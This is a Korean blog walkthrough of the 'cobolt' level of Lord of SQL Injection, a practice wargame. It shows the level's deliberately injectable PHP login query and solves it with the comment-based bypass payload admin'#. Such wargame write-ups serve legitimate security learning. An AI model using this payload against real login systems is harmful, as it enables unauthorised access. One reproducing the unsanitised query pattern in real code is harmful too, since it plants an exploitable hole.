los의 코볼트를 처리해보자.
기본적인 쿼리문 및 소스코드는 아래와 같다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
소스코드를 자세히 살펴보면, 저번과 다르게 비밀번호 입력값을 md5를 시켜서 pw에 대입시킨다. 그리고 이번에는 id값이 admin 이어야 한다. 지난번에 주석처리하는 방법을 확실히 알아뒀으니 이번에는 pw부분을 주석처리하여 우회시켜보자.
코볼트는 아래의 방법으로 처리할 수 있다.
id: admin'#
url: ?id=admin%27%23
query : select id from prob_cobolt where id='admin'#' and pw=md5('')
TMI
소스코드의 preg_match를 설명을 안했었는데, prob나 아래대시(_), 온점(.), 역슬래시(\)의 사용을 막기 위한 필터링 구문이다. 정규표현식으로 처리되어있는데, 그에 대한 자세한 내용은 아래를 참고바란다.
https://hamait.tistory.com/342
정규표현식 (Regex) 정리
정규표현식은 아주 가끔 쓰기때문에 항상 다시 볼때마다 헷갈리곤 하기에 주요 사용예를 내가 나중에 다시 봤을 때 편하도록 정리하여 보았다. 정규 표현식의 용어들정규 표현식에서 사용되는
hamait.tistory.com
gremlin의 풀이가 궁금한 사람은 아래 링크로..!
[Los] gremlin 풀이
los는 LORD OF SQLINJECTION 의 줄임말로, SQL Injection을 집중적으로 연습해볼 수 있는 워게임 사이트이다. 던전이 컨셉이라 문제 하나하나가 물리쳐야 할 몬스터 이름으로 되어 있다. 옛날 사이트에서는
yenua.tistory.com
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] darkelf 풀이 (0) | 2022.06.11 |
---|---|
[Los] wolfman 풀이 (0) | 2022.06.11 |
[Los] orc 풀이 (작성 중) (0) | 2022.06.10 |
[Los] goblin 풀이 (1) | 2022.06.09 |
[Los] gremlin 풀이 (0) | 2022.06.08 |